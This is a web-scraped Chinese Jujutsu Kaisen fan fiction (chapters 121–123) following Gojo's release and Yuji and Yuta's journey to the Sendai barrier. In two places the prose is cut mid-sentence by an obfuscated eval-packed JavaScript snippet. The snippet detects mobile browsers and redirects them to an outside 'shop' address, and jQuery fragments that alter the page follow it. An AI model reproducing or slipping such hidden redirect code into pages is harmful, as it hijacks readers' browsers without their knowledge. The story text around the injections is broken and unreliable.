来栖华没有从这个和她一样飞在空中的少女身上感受到恶意,西宫桃靠近时只是向“雅各布天梯”的术式范围内扔出了什么东西,不过那时来栖华和天使的全部精力都放在了彻底消灭宿傩上面,没有太过在意那个方形的小玩意儿。
“算是术式的产物?那个是?”
那是狱门疆·里。
天使的术式能够抹消一切术式,对结界术也是一样的,只不过想要解除结界就需要找到根源,这也是她无法解除死灭回游结界的原因。
狱门疆的封印也是结界术的一种,咒术师们从天元那里拿到的尽管只是一枚钥匙,但也能称得上结界术的源头,破坏了狱门疆·里,封印在其中的人自然就能被解放出来。
“......”
地狱风暴搅散了这一片附近所有的云,闪亮干净的星月之光也无法夺走那一头耀眼白发的吸引力——亦如他的咒力,从不遮掩,而今又因为终于摆脱了狱门疆的封印而像是伸展肢体一般变得愈发张扬起来。
“这还真是好好大闹了一场啊,”五条悟看着将他‘吐出来’了的白色式神融入影子消失不见,视线迅速扫过战场,六眼将这块几乎被夷为平地的山脚林地中残留的种种信息一一看清,立刻决定了亟待解决的问题,“学生们这么能干,老师我很欣慰啊~”
说罢他身影一闪,出现在了魔虚罗与里梅的战场中。
五条悟虽然带着笑意自言自语,但他手上的动作和近乎完全爆发的咒力表明他其实并不像看起来那样坦然自若。
划过冰封之地的紫色流星仿佛也印证了这一点。伏黑惠在看到五条悟出现的时候终于长舒了一口气,随即继续向前接近“伏魔御厨子”的覆盖范围附近寻找伏黑甚尔、胀相和日车宽见。
他们离得太近了,虽然刚才从外面看上去宿傩的领域并未闭合......说到底为什么他不用闭合结界就能召唤领域啊?!
“可恶......”他自己的半闭合领域只是因为能力有限才不得不选择的下策,宿傩是故意为之,恐怕用“赋予对手逃跑的选择”来换到了领域其他条件强度的提升吧。
伏黑甚尔虽然不会被普通领域捕捉到,但面对开放式的“伏魔御厨子”也不好说。看看眼前的这片光秃秃的废墟,就算被当做建筑物......不论是什么东西都没办法在里面存活下来吧?
“别一副天塌下来的表情,真逊。”懒懒散散的声音从侧方的树影中传来,伏黑甚尔挠着头看向五条悟离开的方向,难搞地啧舌。
“......胀相他们呢?”
伏黑甚尔指了指身后。九相图兄长和误入这场战斗的精英律师同样满身狼狈,胀相的伤已经快好得差不多了,可日车宽见就只能顶着被斩击波及到的切口继续行动。他的确在咒术上有如同原石般璀璨的天赋,但显然领悟正极能量的门槛会拦住所有人。不过,只是时间长短的问题而已。
“五条悟解封了,”胀相直截了当地和他们告别,“我会去找悠仁。”
伏黑惠沉默着,没有阻拦。乙骨忧太和虎杖悠仁还活着这件事让他完全松懈了下来,可这样的轻松只持续了一段很短的时间。就像日升月落,时间不会因为他正在思考某些难以解明的问题而愿意主动放缓脚步。
于是他将他们的离开当成了既定的事实,就像他一直以来的做法:一切难以理解的想法、需要花费漫长时间才能沟通的事情都向后放放,最要紧的是解决眼前的问题。哪怕五条悟成功解封,他们需要考虑的事也不会因此减少太多。
“哼。”伏黑甚尔撑着下巴坐在被折断的树干上,那个白毛小子的气息这么多年还是一样可怕,他开始想自己要不要也学着胀相那样直接走掉得了,感觉留下来会有很麻烦的事情落到自己身上。
伏黑惠感受到魔虚罗的调伏仪式结束了。
“......噫,你这个大猩猩怎么也——”寻着咒力回到这边来的五条悟一打眼就看到了脸色很臭、坐在一旁的伏黑甚尔,不约而同地和他露出了一样相互嫌弃的表情,忽然反应过来伏黑惠还在旁边,于是紧急维护了一下自己超级教师的形象。
“五条老师,宿傩他们......”伏黑惠的话说到一半,天空中的来栖华和西宫桃也落回了地面上。背生双翼的少女看起来有些莫名其妙的扭捏,五条悟的视线只是扫了她一眼就看穿了借住在她躯体里的第二个术师。
机械丸向其他所有还没赶到现场的咒术师们传递着这场战斗的终末。
五条悟耸肩,拍了拍自己的脑袋,让从狱门疆里带出来的不适被快速‘修复’:“用冰的解决掉了,只要最后一根手指不出问题的话,这件事就到此为止了。嗯......至于忧太和悠仁,真苦恼啊~所以,现在谁能给我说明一下现状?”
——
打在面庞的风透着能够击穿皮囊的寒意,虎杖悠仁坐在高大式神的肩膀上,目光几度落在另一侧的乙骨忧太身上,但始终没能开口说些什么。
所以他只是徒劳地伸长脖子,仿佛这样就能让自己看得更远一些,越过成片的森林和蜿蜒其中的浅色公路,越过那些漆黑的通天结界。
只是这样穿梭于黑夜之中,同样的寒冷和迷茫难免覆上心间,令其难见阳光。
上一次他们迎着朝阳降落,而现在呢?他们又能去哪里?
乙骨忧太沉浸于自己的思绪之中。
人如果没有经历过相同的事情,绝对没有办法感同身受。如今他才多少真正理解了虎杖悠仁对于向五条悟坦白自己的目的这件事的恐惧,心中被想要诉说的话填满、即将满溢却总有那最后的一丝理智拦在嘴前,让他们重新将这件事咽回肚子里。
应该说出来吗?
比起不知是否能得到支持更让他们畏缩的,是他们害怕着如果一旦说出口就会将诅咒散发到周围的人身上。要是那会令朋友、老师们和他们一样痛苦,那倒不如干脆由他们自己来承受这些。
固执且温柔,也因此坚定又傲慢。
他们已经不是小孩子了,明白了别人没有理由替他们承受问题和苦楚,“将事情交给大人来解决”的魔法咒语不再对他们生效......也许正是因为从小时候起这句话就从未真正实现过,所以哪怕有再多的人一遍又一遍地和他们说“多依赖大人一些啊”,得到的也只会是怀疑与不太确信的眼神。
而且事到如今,促使乙骨忧太做出这种选择的理由不再单单因为那是虎杖悠仁想做的事。
诅咒一次又一次想要带走他最珍视的人,一次又一次让他在乎的人们陷入深渊。诅咒、咒灵、咒术......世上所有难过的事不全能怪罪于它们,但如果它们消失的话,散播各地的创痛会不会稍微少一些呢?他能多留住一些笑容和属于他们的幸福吗?
“要不要,”粉发少年的声音打碎了迎面而来的寒风,他再一次嗅到了下雪前的味道,“回老家看看?”
他们相遇的地方就在仙台结界内,正好现在有了能够自由出入结界的规则。
事态发展至今,虽然出现了一些意外,但结果还算“完美”。虎杖悠仁必须继续思考下去。一边迷茫地说着“要去哪里呢”,心中的迷雾却已被慢慢拨开。
他想要借助小金虫来找到羂索的下落。
“好啊,正好......我们太久没回去了。”
乙骨忧太应道。
尽管那里也没有了他们的家,可是如今再想到那里,他心中冒出来的第一个词居然是“回去”。也许出生地的确是不同的。
他们去了附近的巴士总站,在车站周围找地方换掉了各自身上有些破破烂烂的衣服。乙骨忧太身上的伤大多都只剩下了浅浅的疤痕,他被虎杖悠仁催促着继续运转反转术式彻底治好了它们,直到再也看不见一丁点存在过的痕迹。
“倒是你,真的没问题吗?”乙骨忧太关切地问。他的目光流连在粉发少年的肩膀与脚腕,那些血淋淋的画面始终在他脑海中挥之不去,于是不断地询问着。
虎杖悠仁看起来十分疲惫,他眨眨眼睛,没再强撑:“今天发生太多事了。”
再生的肢体早就没什么别的感觉了,可被切断的幻痛已经印在了大脑中,他想自己很难完全遗忘它们。
他说起其他的事转换了话题:“我从宿傩那里拿回的手指只有三根。”
他们待在嘈杂的队伍中,轻声交谈着:“那就是说还有一根下落不明?”
粉发少年犹豫着,最终还是摇了摇头。
他在乙骨忧太疑惑的目光中向他说明了自己的猜测。在那片心灵的深池中,他曾听到诅咒之王说他生来便是要承载这份力量的,这是他的“命运”。
“过去我一直逃避着,没有深入想过这个问题,”虎杖悠仁说道,带着点无可奈何的苦涩笑意,“就算混入了‘他’的血液,这具身体也不该成为‘囚笼’,说不定除了......”
除了羂索的血脉,这具身体在孕育时还混入了别的什么东西。
乙骨忧太听懂了。他没有说话,只是默默地牵住了虎杖悠仁的手。
夜间巴士的座位不算舒服,但对于两个疲惫的少年来说也没有多余的精力挑剔这些。
死灭回游影响了大部分公共交通,被结界截断的铁路停运,巴士和飞机等几乎全都更改了路线,他们乘坐的这趟原本直达仙台的夜间巴士自然也不会靠近原先的终点站。接近中午的时候,他们在栃木县的巴士站下了车。
虎杖悠仁活动着嘎吱作响的关节,虽然大部分时间都睡过去了,可僵硬的座位还是让他醒来之后坐立难安。
东京已经完全沦为“魔境”,这里的大部分地区都被两个相邻的结界笼罩了进去,尽管大多数泳者还在观望是否要离开结界——想要在结界外找到另一个泳者获得分数反而成了“自由的代价”——但是咒灵们可没有这样的顾虑。
这里作为最靠近东京结界的县城,能够感受到很明显的人去楼空的萧条感。
“宿傩?!”
虎杖悠仁一个激灵,矢口否认:“我不是!!!”
有完没完了?!!现在看来天使对他们忠告并不无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378260|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道理。
乙骨忧太没说话,只是熟练地取了刀才转头扫向追着两面宿傩阴魂不散的古代术师。
“啊?乙骨?”秤金次努力瞪大了自己的眼睛,略显滑稽地惊呼道:“这也太巧了吧?机械丸不是说你们......”
秤金次及时住了嘴,因为他这个学弟正用前所未见的阴沉眼神盯着已经噼里啪啦浑身冒电的鹿紫云一,而这个四百年前的最强术师也兴奋地吼道:“你是宿傩的容器?!”
虎杖悠仁的脸色差极了,有些愤怒地重申:“我不是。他已经‘消失’了......不管你为了什么理由想要找他,现在都不可能了。”
“胡扯,”鹿紫云一手持武具,虽然一直在看着虎杖悠仁,但同时警惕着他身边的乙骨忧太,“宿傩怎么可能......”
星绮罗罗打断他:“关于这个,其实我们昨天晚上就想告诉你了。那个是真的哦,两面宿傩的容器已经被抹消了。”
鹿紫云一将信将疑地挑起一侧眉毛。
“就是预料到很难解释才没想好怎么跟你说,”秤金次难得头痛,他可是答应了要让鹿紫云一和宿傩打一架才换来了古代术师跟他们一起行动的承诺,没想到这件事偏偏这么巧,“虽然现在也还不太清楚到底是怎么搞定的......真是的,就没有一件事不是乱套了的!”
而且现在看起来也不是个询问当事人的好时机。
秤金次没怎么和乙骨忧太过多接触过,但他只凭几次短暂的相处就能感觉得到,这个平时看起来总是心思极重的学弟其实是个难得蛮有人性的家伙。
“没什么事情是不可能的。”虎杖悠仁一字一句地说。秤金次觉得他另有所指,但很明显鹿紫云一满脑子都是和宿傩的战斗,自然不可能就这样善罢甘休。
星绮罗罗推着秤金次让他赶快把满身电气的古代术师拉走,因为和他针锋相对的乙骨忧太看起来就像是个被压到极限了的弹簧,只要一丁点刺激就会爆发。
“合着你们到现在为止都一直带我在东京绕圈子?”古代术师压低眉眼斥道。
秤金次本以为这场冲突会很难收尾,但意外的是鹿紫云一被轻而易举地推走了。
联想到从机械丸那里听说的战斗,星绮罗罗觉得自己能够理解乙骨忧太为什么仿佛一点就炸的炮仗似的警惕着所有人。
他试图让乙骨忧太和虎杖悠仁稍微放松下来,没有过分靠近,只是站在稍远处简单和他们解释了一下鹿紫云一的来历。
乙骨忧太深呼吸,让刀重新落回了影子里:“抱歉,绮罗罗前辈。”
牵在虎杖悠仁身上的那根弦被一桩桩意外拧得太紧了,哪怕他想要放松一些也根本没办法轻易做到,从容也离他远去,留下来的只有不正常又疯狂的念头。虎杖悠仁将手搭在了他的肩膀上,并不沉重的力量却带来了坚定有力的安慰。
乙骨忧太稍微松了松眉头,表情也没有那么凝重了。
“不不,我懂的啦,”星绮罗罗摆摆手,视线落在了虎杖悠仁搭着乙骨忧太肩膀的手上,“所以你一定就是小悠喽?发色是天生的?和传言中的感觉一样诶!”
“传言?”而且“小悠”这个称呼好羞耻啊......虎杖悠仁悄悄打量着这位看上去很潮的前辈,而且似乎,是“他”不是“她”?
星绮罗罗伸出一根手指点了点挠头的乙骨忧太:“小忧太和自己的同期们很认真地介绍过你哦,不过我和阿金的确是从别人那里听说的。”
见那双琥珀色的眼睛挪了过来,莫名其妙升起的“被揭穿啦!”的不知所措冲散了乙骨忧太心中灰蒙蒙的阴影,窘迫感驱使着他露出了求饶般的神情,脑门和脸颊隐隐约约变热了。
“这个......诶......”
他有点结结巴巴地说着,眼神到处乱飘。
虎杖悠仁发出了一声闷闷的哼笑,他饶有兴致地双手抱臂,带着些小小的坏心思挑眉调侃道:“为什么你会这么不好意思啊忧太,明明之前还很自豪地说‘我把你介绍给高专的同期们了’诶。”
不知为何,星绮罗罗和虎杖悠仁很快便站到了一起,精心挑染过刘海的前辈凑到粉发少年的身边“悄咪咪”地说:“果然在喜欢的人面前还是会说大话的吧!我觉得这一点很可爱哦!阿金有的时候也会这样,被戳穿的时候跟现在的小忧太简直一模一样呢!”
虎杖悠仁煞有介事地点头。
“这个季节只穿这些真的没问题吗?虽然衣服很漂亮啦,但是生病的话会很麻烦吧?
肩膀和腰都完全漏出来了。
“因为是我很喜欢的风格,冷的时候会让阿金把外套借给我,所以没问题的啦。我说......”
完全聊起来了。被“丢”在一旁的乙骨忧太终于露出了轻松的微笑。其实昨晚在夜间巴士上时他完全没有睡意。
单人座位让他们没办法相互依靠着,身体上的疲惫感被反转术式带走了大部分,不过虎杖悠仁比起这种方法更喜欢用单纯的睡眠来恢复精力。
只是乙骨忧太不太想也有点不太敢闭上眼睛。也许这么说会觉得自己有点矫情,但差点失去重要之人的恐惧的确让他几度失去理智,心智也似乎被带走了一样,像是小孩子一般只有紧盯着在乎的东西才能放下心来。
乙骨忧太就这样断断续续地盯着虎杖悠仁看了一晚上。
122. 第 122 章
秤金次本来还觉得说服鹿紫云一会是个麻烦事,但古代术师居然看起来就这样接受了这个现实。
“别用那种看傻子一样的眼神盯着我,”鹿紫云一单手撑着下巴,坐在路边看着花坛里伸出来的无人打理的花说道,“你们现代最强的家伙是谁?”
“我老师,你想都别想了。”
鹿紫云一“嘁”了一声。
“只是有问题想问罢了,当然也要看他的实力如何,宿傩不在了的话问他也应该差不多。”
秤金次撇嘴:“你这说法真让人火大啊。”
“要是能放开手打一场就好了,”鹿紫云一满不在乎地说道,“不然也太没意思了。”
鹿紫云一的术式一生只能使用一次,在第一次生命结束前他从未真正使用【幻兽琥珀】战斗过。因为他已是他所在时代的最强之人,终其一生也没有遇到过值得让他使用术式战斗的人,就算晚年出现了可以一战的对手,年迈又疾病缠身的身体也让他打消了远行的念头。
最强之名也是个必须加上某种前缀的东西,也许是当它顺着年龄的河水顺流而下的时候,亦或者是站在时代对岸的两代最强者相互对望的时候。
“所以你们现在打算去仙台?羂索在那边?”星绮罗罗问道。
“没什么特别的理由,硬要说的话就是想回去看看,”虎杖悠仁解释,“我们也在找他。”
星绮罗罗没有再说其他的,他和虎杖悠仁交换了电话号码,挥手告别之后跑去找秤金次他们了。
虎杖悠仁抱着手机转身自然地回到了乙骨忧太身边,语气昂然地说:“怎么了忧太?”
黑发少年摇了摇头,唇角仍残留着没有完全消失的笑意,侧着头说道:“只是觉得悠仁和谁都能处得很好。”
他口中的人却没有这样的自觉:“是吗?但也许因为他们都是很好的人吧?我也有遇到过只见一面就觉得很讨厌的家伙。”
说他全凭感觉行动也不太准确,但毫无疑问可以被称为直觉的东西的确或多或少左右了他对某些人和事的看法。
但是只有同样很好的人才能感受到并且回应他人身上散发出来善意吧。乙骨忧太只是笑着拍了拍他的胳膊,继续和虎杖悠仁一起踏上归乡之途。
他们花了更多的时间来寻找从栃木去宫城的方法,最终还是在那须町附近碰上了一个愿意带他们走上一段路的小货车。
虎杖悠仁和乙骨忧太跟司机大叔的狗狗一起坐在小货车后面的车斗里,司机大叔是个很健谈的人,这一路上虎杖悠仁基本都在和他聊天。
“福岛那边全都是怪物啊,一不小心就会被卷进去,所以巴士之类的也不可能过去了,”司机大叔拍了拍陪了他很久的老伙计,不知道货车的哪个部分发出了杂音,“大家都说东京是魔境,其他地方也差不多啊。”
但是总有人会往那边去。司机大叔的家在福岛,他刚从东京往回走,去那边是为了最后看望自己被卷入死灭回游的兄弟,顺便接走对方最珍视的狗。
结界内能够长时间保存的物资几乎都被扫荡一空,最开始的那几天简直就像是现实版的末日生存游戏,便利店和超市是冲突最常发生的地方。
虎杖悠仁没有问为什么是“最后”,大叔也没有接着这个话题聊下去的意思。
笼子里的狗狗毛发干枯,身上也没什么肉,黑葡萄似的眼睛却亮晶晶地望着和它分享这个车斗的两个少年。它也许不知道自己将要去哪,更没办法理解为什么街道上那些与人类不同的生物数量突增。
虎杖悠仁隔着笼子逗它,在狗狗趴下来之后便停止了手上的动作。
“活着的人总要继续啊,但是还有一些脑袋空空的年轻人们把它当成了潮流去追捧,真是!他们完全不考虑父母和家人的感受,把自己的生命当做筹码随手扔上了赌桌!真是太气人了!”
乙骨忧太和虎杖悠仁都不是过度依赖手机和社交网络的人,这些天也没怎么太多地关注外界的信息,所以有些难以理解司机大叔的意思。
“会有那种疯子啦,头上戴着摄像头说什么要直播进入死亡游戏的全过程,为此在社媒上狠赚了一笔,这样的人还不少呢。虽说大多数只是为了捞钱,但也有真进去了的人。”
“......”老实说,乙骨忧太听到有这样的情况发生时并没有太过惊讶,也正如司机大叔的说法——偶尔就是会有这样的疯子。
虎杖悠仁厌恶那些毫无理由践踏他人生命价值的人,但是如果意识到这个人在轻视自己生命意义的话却会变得踌躇起来。
他本不该犹豫的,遇到说不通的人就用拳头将他们打回正确的路上,可如今“正确”在他心中已经变成了一片永远飘在心头的雾气,像是初春三月下雨时腾起的朦胧湿意,虽然不至于让他看不清路,可终究没办法化作语言清楚地描述出来。
拯救本身就是一件傲慢的事,而他又很难看穿一个没有在求救的人究竟是真的期待坠落,还是因为他们对生的渴望缄默无声以至于连他们自己都听不到。
如果一个人不得不一直面对这样的问题......会疯掉的吧?
有些问题没有答案,过去没有、未来也不可能会有。但是它们会变成痛苦的源头,源源不断地向妄图求得答案的人发出诘问。
虎杖悠仁歪着头靠到了乙骨忧太的肩膀上,仿佛突然泄了气一般失去了支撑身体的力量。
这倒是合了乙骨忧太的心思,微微动了动身体调整了一下姿势,在货车的杂音和周遭的噪声中安静地慢慢接近着他们的目的地。
粉发少年的心思似乎随着年龄的增长而逐渐变得更加细腻,他们所经历的一切磨难与苦楚塑造了如今的虎杖悠仁,性格中温柔开朗的一面并未完全消失,反而化作了坚实的平台,承载起除此以外的一切。
但是,这个平台似乎太过强大了。乙骨忧太觉得“强大”并非一个完全的褒义词,它看上去代表了无所不能,可是超过大多数人的认知范围内的上限、并且还在不断突破的力量只会带来最狂热的盲信和最可悲的忌惮。不被允许与“强大”相悖也是一件很让人难过的事吧。
所以,比起让这个平台永远无坚不摧,乙骨忧太更希望虎杖悠仁允许它放过一些无关紧要的责任,但这大概......也是不可能的吧?毕竟悠仁是个很执着的人嘛,他总是在心中的殿堂摇摇欲坠时将之归咎于他自己还不够努力,所以每次都会更拼命地去追求“强大”。
就像一些注定没有答案的问题,如果不能接受它以未解决的状态存在着的话,那不就会没完没了了吗?
“在想什么?”
乙骨忧太歪过头,蹭弯了樱粉色的头发:“在想象如果悠仁是个神经大条的人会是什么模样。”
脸颊感受着身旁人闷笑时传来的震颤,乙骨忧太听到他有点苦恼地说:“......完全想象不到。”
会在房间里贴满詹妮弗·劳伦斯的海报吗?还是说“强迫”乙骨忧太陪他去看恐怖片?又或者干脆完全没有察觉到黑发少年的心意、就这样无意识地吊着对方?那也太像烂人了吧?!已经不是神经大条的程度了!
“我不是这个意思啦,”这是想到哪里去了啊,乙骨忧太无奈地闭上了眼睛,“我的意思是如果没有发生过......这些事,悠仁也肯定是个温柔细腻的人。”
“温柔细腻怎么能和神经大条放到同一个人身上啊!”
“这个啊......比如每天都过得充实而快乐,当然也会遇见不开心的事,但很快就能和问题和解,最大的烦恼就是下一顿饭要吃点什么好吃的,或者放学之后和同学们去哪里玩。”
“能看到每个人的优点,有一套自己的处事风格并且能够坚持贯彻这样的信条,”乙骨忧太的声音絮絮叨叨地和货车行驶带起的风缠在了一起,讲述着他想象中的故事,“有个平凡的梦想,要是没有的话也没关系。会买喜欢的明星或者漫画的周边,和熟悉的朋友一起搞怪,最苦恼的是期末考试中不擅长的科目之类的......”
虎杖悠仁听完,还是觉得乙骨忧太用错了形容词。
“听起来是个很乐观的人。”
如果没有遇到这一切,乙骨忧太也会过着这样的人生吧?
脖颈后的兜帽被人拉了起来盖住了视线,温热的手掌用了点力道隔着布料摁了摁他的头顶。乙骨忧太从善如流地越过了这个话题:“胀相那边怎么说?”
“他要先回东京安置坏相和血涂,”当视野变得狭窄、兜帽阻拦了部分噪音,被人为创造出来的安心感包裹住了虎杖悠仁,“之后大概还会过来吧。”
九相图兄长态度坚决地拒绝了弟弟们同行的请求,表示在这件事上没得商量。血涂没办法离开兄长们独自使用咒术保护自己,因此坏相要与血涂一起行动。
他又感觉到放在头顶的手轻轻拍了拍,乙骨忧太说道:“他是个好人。”
“是吧!”尽管有的时候还很笨拙,但九相图们正在慢慢适应成为“人”的自己。这条路想必一定荆棘密布,但如果有家人相互支撑着一起走下去的话,就没什么能够阻挡他们的了。
小货车后面的车斗当然比不上夜间巴士的单人座椅,可这块被颠簸又硌人的铁皮包围的狭小环境中,他们反而各自得到了比昨夜更轻松的休息时间。
仙台结界的南端在爱宕山附近,北边大概能到广濑大道,听说最开始有不少人都从勾当台公园附近撤离了。如果将结界的范围在地图上圈起来的话几乎完全覆盖了大部分中心城区,结界外的部分区域也设立了警戒区,有不少从里面跑出来的咒灵正在周围游荡。
咒术师们也试过祓除主动跑出结界的咒灵,但很快便意识到这样的行为只是杯水车薪,最终结果只能是人类撤出居住已久的土地,将部分城市让给了它们。
东京的情况最严重,哪怕羂索在涩谷放出的咒灵们大多不具备能够相互沟通的知性,偶尔出现拥有自我认知的咒灵也没有产生任何同族概念,可若是只看结果,多少也应了漏瑚的遗愿。
有咒灵正在无人的城市中大笑着。
“嗨!我是小金!!这个结界之中正在进行名为死灭洄游的PVP生存游戏!!一旦踏足其中,你也将会成为泳者(玩家)!!你确定要进入结界吗!?”
虎杖悠仁看着形似蝇头的小金虫出现在了半空中,他们面前就是直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378261|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通天际的漆黑结界。
因为从星绮罗罗那里得到了“如果在进结界的时候回答了小金虫的问话有可能会被分开”的情报,所以虎杖悠仁和乙骨忧太默契地没有理会不断重复着询问的小金虫,对视一眼后坚定地迈步跨入了这片全新的战场。
他们成为了泳者。
“这样就,”虎杖悠仁回头打量着身后,从内部看的话结界的存在感并不像在外界观察时那样强烈,“好了?”
他们每个人的小金虫似乎也有各不相同的外貌特征,乙骨忧太立刻开始查看人员名单,也许能够找到羂索的下落。
就像是游戏画面一样,小金虫拉出的半透明屏幕上飞快闪过无数泳者信息,在最终定格的那一刻迅速被乙骨忧太捕捉到了名字之后的所在结界,他有点意外又有点兴奋地拉住了正望向远方天空中的虎杖悠仁:“他就在这里!”
“这里?”虎杖悠仁把头扭得飞快,提高了音量难得震惊地向乙骨忧太再次求证,得到了肯定的点头后又陷入了沉思之中。
他在乙骨忧太的注视下用一只手不断地摩挲着下巴,保持了这个动作很长一段时间才终于有点勉强地说:“你觉得......”
羂索必须死,但他也不能死得太早。
虎杖悠仁握紧了拳头。他迫不及待地想要把这个将诅咒的骨血灌入他体内之人彻底打入地狱,但又不得不借助由他开启的这场盛大游戏。哪怕如此痛恨却也只能承认羂索在咒术上磨炼千年的精妙技艺的确令人佩服,也带来了无限的可能性。
而不论是羂索还是虎杖悠仁想要做的事似乎都无法绕过天元。他已经尝试过说服那位全知的术师,但得到的结果并不尽如人意,羂索则更加直截了当,估计准备等到各个结界的咒力都收集的差不多了、完成了同化前的彩排后直接去薨星宫用【咒灵操术】收服天元吧?
“他不会轻易把开启同化的权限交给你的,悠仁。”乙骨忧太说道。
其实他们都对此心知肚明,比起现在就去找羂索还不如等到他去薨星宫开启同化后再出手杀了他。甚至,他们也许还要帮助他打开这条通天之路。
“我明白,但是......只是还有点不甘心。”虎杖悠仁垂着头深呼吸,语气有些微微发颤。
一瞬间涌入的痛恨、怀疑、迷茫将他的内心搅得一团糟,根本理不清头绪。
像是渡海者被突如其来的浪头打得呛了水,哪怕深谙水性,但在腥咸的海水灌入鼻腔喉咙的瞬间也会觉得心慌吧?
乙骨忧太不喜欢现在从虎杖悠仁身上散发出来的颓丧气息。他一直明白粉发少年是个坚强的人,也明白这是他只会在自己最信任的人身旁才会悄悄流露出来的依赖,因为在这里承认自己不够坚强是被允许的。
“没有什么是不可能的,这话悠仁你也说过的吧?”乙骨忧太拉住了虎杖悠仁的手腕,微微颔首让自己闯入了那片有些暗淡的琥珀湖泊之中:“悠仁是悠仁,我是我。有些事做了会让你难过,但如果那是唯一的解法,我一定会去做。”
胳膊被人拉着抬了起来,虎杖悠仁的视线从乙骨忧太的黑色眸子上移开,落到了攥着他手腕的手掌上,最后随着它缓缓地移动,直至停留在额头。
拨开那些轻巧垂下的黑发,那里光滑、干净,带着温润的热意。
虎杖悠仁的瞳孔猛缩,意识到乙骨忧太想要表达什么之后他愤怒地瞪视了回去,几乎咬着牙低吼道:“——乙骨、忧太?!!!”
然而钳住腕骨的手掌力道同样失去了控制,虎杖悠仁甩不开也挣脱不掉,仿佛它的主人也早已下定决心,甚至比虎杖悠仁想象的最初还要更早。
“你不觉得自己很过分吗?!”虎杖悠仁一个字一个字地将话语切碎,扔到了乙骨忧太的脸上:“我不需要!”
他奋力想要挣开乙骨忧太的手,空虚的怒火烧过之后却没留下更刻薄的质问,就好像刚才在他心间出现的种种情绪只是他伪装出来的空壳,内里却空荡荡的,连被风吹走的灰烬都没有。
“悠仁,”他被巨大的力道扯入了怀抱当中,被死死扣在怀里的时候才恍然意识到身前人颤抖的气息,“听我说啊!你说自己‘天性如此’,就早该明白我也是啊?!我早就......完全......”
将自己裹在被子里听到乙骨忧太说“如果有一天为了悠仁伤害到了其他的什么人,也不会后悔”的时候和现在的感觉是一样的吗?虎杖悠仁感觉自己的脑袋要炸掉了一般混乱着,年幼时说定的“梦想”到现在已经面目全非,除了他们还陪伴在彼此身边之外还有什么地方是一样的吗?
其他的什么人......也包括你自己吗?
他们之间最深切的爱意似乎总伴随着伤痛与失去,一旦陷入绝境,这样的情况就会完全爆发出来。虎杖悠仁不想承认,可他的身体与灵魂却在渴望着这样扭曲的——诅咒。
“这就是你的错,你凭什么一定要我在你和理想之间做出抉择?!”他无理地指责着乙骨忧太,脱口而出的尽是一些任性的哀求:“像是爱我一样爱着你自己吧......求求你了,忧太,求求你。”
我们的梦想本来是一起出去旅行的啊!
123. 第 123 章
人总爱追问为什么。得到答案就能得到片刻的心安,然后自以为是地忽略了人终究是时时刻刻都在改变着的生物,此时给出的答案也许在下一秒就变得支离破碎,一文不值。
但是,有时候那些恒久不变的信念与固执更会让人又爱又恨。
他们僵持在了原地,谁也不肯主动退步,可同样谁也说服不了谁。这一次争吵——就当它是争吵吧——完全将他们之间一直存在的某种问题暴露了出来,虎杖悠仁觉得如果不尽快解决的话,假设再遇到了像是和受肉的诅咒之王战斗的情景、再遇到不得不面临生死考验的时候,一定会因为这个问题导致更致命的后果。
他这次切切实实地用上了浑身的力气推开了乙骨忧太,也终于能够直视他黑色的眼睛。虎杖悠仁用审视般的目光看着乙骨忧太,看他与年幼时相似却早已完全长开的五官、肩膀,看着他因为方才有些激动的争执而不断起伏的胸膛和眼角下的那片红。
“......在死之前尽情相爱不是让你遇到点问题就急着为我去死啊。”虎杖悠仁皱起眉头,眼睛因为乙骨忧太的不肯让步而微微眯了起来,将原本圆润的眼型压得有些锋利。
他很少这么直白地表述生和死,尤其是在他和乙骨忧太相处的时候也总爱下意识地回避去深入地谈论这些。
大概是因为总是下意识地祈求着恒久吧,就像这个国家的大部分人一样,在意识到并不存在这种东西之后才会在各种压力的逼迫下前进。
恒久的爱、恒久的信念,正是因为在某一天突然意识到人的善变和命途多舛,才会在找到珍贵之物后下意识地维护虚假的恒久。
为了你什么都能做到——这是一句很可怕的宣言。人应该对极限有所认知,而这样的宣言却打破了限界,让人追求自身能力之外的事。
那不是努努力也许就能走得更远的问题,一旦超越了这个限界就是连感知疼痛与恐惧的能力都会消失的虚无,走出去的人不会回头,自然也就不知道自己走了多远。
虎杖悠仁害怕乙骨忧太变成那个样子。
他承认在意识到乙骨忧太真的会将这句话变成现实的时候,他在感受到恐惧的同时也发现了藏在自己心中的那点隐秘的快感,那是不健康的成长环境培养出来的异常,以年幼时的相依为命培育灌溉,最终在共同度过的人生中爬满了他的内心和灵魂。
只是它们太过擅于伪装,以至于连虎杖悠仁自己都未曾留意到过。
......真的吗?他真的从未注意到这种感情的异样之处吗?
也许教会里的那次争吵就是因此而爆发的吧?只不过当时的虎杖悠仁还没有明晰自己的心意,也没有真正看透它们伪装出来的表象。
所以才希望乙骨忧太多交朋友,有更多的时间去干和自己无关的事,希望他珍视的东西不再只有“虎杖悠仁”一个。
结果,现在看来根本毫无改变啊。
“我想,每个人应该都会有的吧?那种‘只有自己才能做到的事’,”乙骨忧太说道,“那感觉该如何形容呢?我会有一种......满足感。因为我知道只有我才能做到这件事。”
他敲了敲自己的脑袋,握成拳的手每一次接触到黑发都会让虎杖悠仁的眉头皱得更紧。
模仿羂索的术式,代替他成为“夏油杰”,完成虎杖悠仁的理想。
